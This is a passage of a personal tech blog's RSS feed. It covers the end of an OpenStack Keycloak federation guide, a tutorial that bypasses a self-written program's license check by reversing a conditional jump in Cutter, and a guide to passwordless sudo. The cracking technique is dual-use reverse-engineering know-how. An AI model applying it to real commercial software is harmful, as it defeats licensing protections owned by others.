     (<span class="hljs-string">"openidtest_openid"</span>, <span class="hljs-string">"Keycloak - OpenID Connect"</span>),
 )

 <span class="hljs-comment"># <span class="hljs-doctag">NOTE:</span> The value is expected to be a tuple formatted as: (&lt;idp_id&gt;, &lt;protocol_id&gt;).</span>
 WEBSSO_IDP_MAPPING = {
     <span class="hljs-string">"openidtest_openid"</span>: (<span class="hljs-string">"openidtest"</span>, <span class="hljs-string">"openid"</span>),
 }
</code></pre>
<h3 id="heading-reconfigure-openstack">Reconfigure OpenStack</h3>
<pre><code class="lang-bash"> $ kolla-ansible -i multinode reconfigure
</code></pre>
</li>
</ol>
<h3 id="heading-reference">Reference</h3>
<p><a target="_blank" href="https://docs.openstack.org/keystone/ussuri/admin/federation/configure_federation.html#create-a-mapping">https://docs.openstack.org/keystone/ussuri/admin/federation/configure_federation.html#create-a-mapping</a> </p>
<p><a target="_blank" href="https://github.com/keycloak/keycloak-documentation/blob/master/securing_apps/topics/oidc/mod-auth-openidc.adoc">https://github.com/keycloak/keycloak-documentation/blob/master/securing_apps/topics/oidc/mod-auth-openidc.adoc</a> </p>
<p><a target="_blank" href="http://wsfdl.com/openstack/2016/02/01/Keystone-Google-Federation-With-OpenID.html">http://wsfdl.com/openstack/2016/02/01/Keystone-Google-Federation-With-OpenID.html</a> </p>
<p><a target="_blank" href="https://www.meshcloud.io/2017/08/25/federated-authentication-with-the-openstack-cli/">https://www.meshcloud.io/2017/08/25/federated-authentication-with-the-openstack-cli/</a> </p>
<p><a target="_blank" href="https://docs.openstack.org/keystone/pike/configuration/samples/keystone-conf.html">https://docs.openstack.org/keystone/pike/configuration/samples/keystone-conf.html</a>  </p>
<p><a target="_blank" href="http://www.gazlene.net/federation-devstack.html">http://www.gazlene.net/federation-devstack.html</a> </p>
]]></content:encoded></item><item><title><![CDATA[Basic cracking a program using Cutter]]></title><description><![CDATA[Install Cutter from this link Cutter Radare.

Create a simple program called vulnerable_license.c.
 #include <string.h>
 #include <stdio.h>

 int main(int argc, char *argv[]) {
     if(argc==2) {
             printf("Checking License: %s\n", argv[1])...]]></description><link>https://bonestealer.xyz/basic-cracking-a-program-using-cutter</link><guid isPermaLink="true">https://bonestealer.xyz/basic-cracking-a-program-using-cutter</guid><category><![CDATA[Security]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Sun, 26 Jan 2020 08:20:40 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659254788444/2TfFWbdl9.png" alt="radare-image-logo.png" /></p>
<ol>
<li><p>Install Cutter from this link <a target="_blank" href="https://github.com/radareorg/cutter">Cutter Radare</a>.</p>
</li>
<li><p>Create a simple program called <code>vulnerable_license.c</code>.</p>
<pre><code class="lang-cpp"> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
 <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

 <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[])</span> </span>{
     <span class="hljs-keyword">if</span>(argc==<span class="hljs-number">2</span>) {
             <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Checking License: %s\n"</span>, argv[<span class="hljs-number">1</span>]);
             <span class="hljs-keyword">if</span>(<span class="hljs-built_in">strcmp</span>(argv[<span class="hljs-number">1</span>], <span class="hljs-string">"AABB-CCDD-20-OK"</span>)==<span class="hljs-number">0</span>) {
                     <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Access Granted!\n"</span>);
             } <span class="hljs-keyword">else</span> {
                     <span class="hljs-built_in">printf</span>(<span class="hljs-string">"WRONG!\n"</span>);
             }
         } 
     <span class="hljs-keyword">else</span> {
             <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Usage: &lt;key&gt;\n"</span>);
     }
     <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
 }
</code></pre>
<p> This program basically check the correct license to get the access of the program.</p>
</li>
<li><p>Then, compile the program using default <code>gcc</code> option.</p>
<pre><code class="lang-bash">   gcc vulnerable_license.c -o vulnerable_license
</code></pre>
<pre><code class="lang-bash"> <span class="hljs-comment"># Example: if your input is "AABB-CCDD-20-OK" you get the access, else you get "WRONG!".</span>

 $ ./vulnerable_license AABB-CCDD-21-MM 
 Checking License: AABB-CCDD-21-MM
 WRONG!

 $ ./vulnerable_license AABB-CCDD-20-OK 
 Checking License: AABB-CCDD-20-OK
 Access Granted!
</code></pre>
</li>
<li><p>Open your <code>Cutter</code> app and load the compiled file before and make sure to checked the write mode.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659254808349/_-k8Q8b8K.png" alt="cutter-app.png" /></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659254819846/JccbdsOas.png" alt="load-write-mode-cutter.png" /></p>
</li>
<li><p>You will look something like this.
   <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659254830719/b5Z_LvSiT.png" alt="all-vuln-license.png" /></p>
<p> We interested in <code>main</code> function, because we see there's a checker, so we need to bypass the checker by changing the flow of the program.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659254842876/qAiZffMPN.png" alt="vulnerable-license.png" /></p>
<p>From the picture above, there's some mechanism to change the flow by using <code>reverse jump</code> in Cutter. We tend to change the flow of result <code>test eax eax</code>, by default if the result not <code>zero</code> or <code>the string is not same</code> it will jump to "WRONG!" so we need to reverse the logic, by allowing the <code>wrong string</code> to grant the access.</p>
</li>
<li><p>You need to click the <code>jne 0x11b9</code> in my case, other computers maybe different. <code>Edit -&gt; Reverse Jump</code>.
 The new change will similar like this.</p>
<p>   <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659255522036/OATzSASow.png" alt="access-license.png" /></p>
<p>By runtime the flow of the program is changed.</p>
</li>
<li><p>Save the changes and try to run the program again.</p>
<pre><code class="lang-bash"> $ ./vulnerable_license AABB-CCDD-21-MM 
 Checking License: AABB-CCDD-21-MM
 Access Granted!

 $ ./vulnerable_license AABB-CCDD-20-OK
 Checking License: AABB-CCDD-20-OK
 WRONG!
</code></pre>
</li>
</ol>
<p>Source: 
<a target="_blank" href="https://www.megabeets.net/5-ways-to-patch-binaries-with-cutter/">Patch Binaries with Cutter</a></p>
]]></content:encoded></item><item><title><![CDATA[Sudo without password]]></title><description><![CDATA[How to run sudo command without prompting password:

Create backup of /etc/sudoers:
 $ sudo cp /etc/sudoers /etc/sudoers.bak


Then, using nano/vi to edit the /etc/sudoers file.
 $ sudo visudo

 By default visudo using vi editor, but if you want to u...]]></description><link>https://bonestealer.xyz/sudo-without-password</link><guid isPermaLink="true">https://bonestealer.xyz/sudo-without-password</guid><category><![CDATA[Linux]]></category><category><![CDATA[sysadmin]]></category><dc:creator><![CDATA[Muhammad Ardivan Satrio Nugroho]]></dc:creator><pubDate>Wed, 22 Jan 2020 07:41:15 GMT</pubDate><content:encoded><![CDATA[<p>How to run <code>sudo</code> command without prompting password:</p>
<ol>
<li><p>Create backup of <code>/etc/sudoers</code>:</p>
<pre><code class="lang-bash"> $ sudo cp /etc/sudoers /etc/sudoers.bak
</code></pre>
</li>
<li><p>Then, using nano/vi to edit the <code>/etc/sudoers</code> file.</p>
<pre><code class="lang-bash"> $ sudo visudo
</code></pre>
<p> By default visudo using <code>vi</code> editor, but if you want to use <code>nano</code> (for example).</p>
<p> It will show similar like this and <code>enter</code> your preferred editor.</p>
<pre><code class="lang-bash"> $ sudo update-alternatives --config editor

 There are 4 choices <span class="hljs-keyword">for</span> the alternative editor (providing /usr/bin/editor).
 Selection    Path                Priority   Status
 ------------------------------------------------------------
 * 0          /bin/nano            40        auto mode
 1            /bin/ed             -100       manual mode
 2            /bin/nano            40        manual mode
 3            /usr/bin/vim.basic   30        manual mode
 4            /usr/bin/vim.tiny    15        manual mode

 Press &lt;enter&gt; to keep the current choice[*], or <span class="hljs-built_in">type</span> selection number:
</code></pre>
</li>
<li><p>Add or Edit your <code>user</code> to add the <code>NO PASSWD</code> privilege. It will show similar like this.</p>
<pre><code class="lang-bash">
 <span class="hljs-comment"># This file MUST be edited with the 'visudo' command as root.</span>
 <span class="hljs-comment">#</span>
 <span class="hljs-comment"># Please consider adding local content in /etc/sudoers.d/ instead of</span>
 <span class="hljs-comment"># directly modifying this file.</span>
 <span class="hljs-comment">#</span>
 <span class="hljs-comment"># See the man page for details on how to write a sudoers file.</span>
 <span class="hljs-comment">#</span>
 Defaults    env_reset
 Defaults    mail_badpass
 Defaults    secure_path=<span class="hljs-string">"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"</span>

 <span class="hljs-comment"># Host alias specification</span>

 <span class="hljs-comment"># User alias specification</span>

 <span class="hljs-comment"># Cmnd alias specification</span>

 <span class="hljs-comment"># User privilege specification</span>
 root    ALL=(ALL:ALL) ALL

 <span class="hljs-comment"># Members of the admin group may gain root privileges</span>
 %admin ALL=(ALL) ALL

 <span class="hljs-comment"># Allow members of group sudo to execute any command</span>
 %sudo   ALL=(ALL:ALL) ALL

 <span class="hljs-comment"># See sudoers(5) for more information on "#include" directives:</span>

 <span class="hljs-comment">#includedir /etc/sudoers.d</span>
 <span class="hljs-variable">$USER</span> ALL=(ALL) NOPASSWD: ALL <span class="hljs-comment"># $USER is your user in Unix/Linux host.</span>
</code></pre>
</li>
<li><p>To give it a try, you can save the new <code>/etc/sudoers</code> file and do:</p>
<pre><code class="lang-bash"> $ sudo su
 root@your-pc-name:/home/user<span class="hljs-comment">#</span>
</code></pre>
</li>
</ol>
]]></content:encoded></item></channel></rss>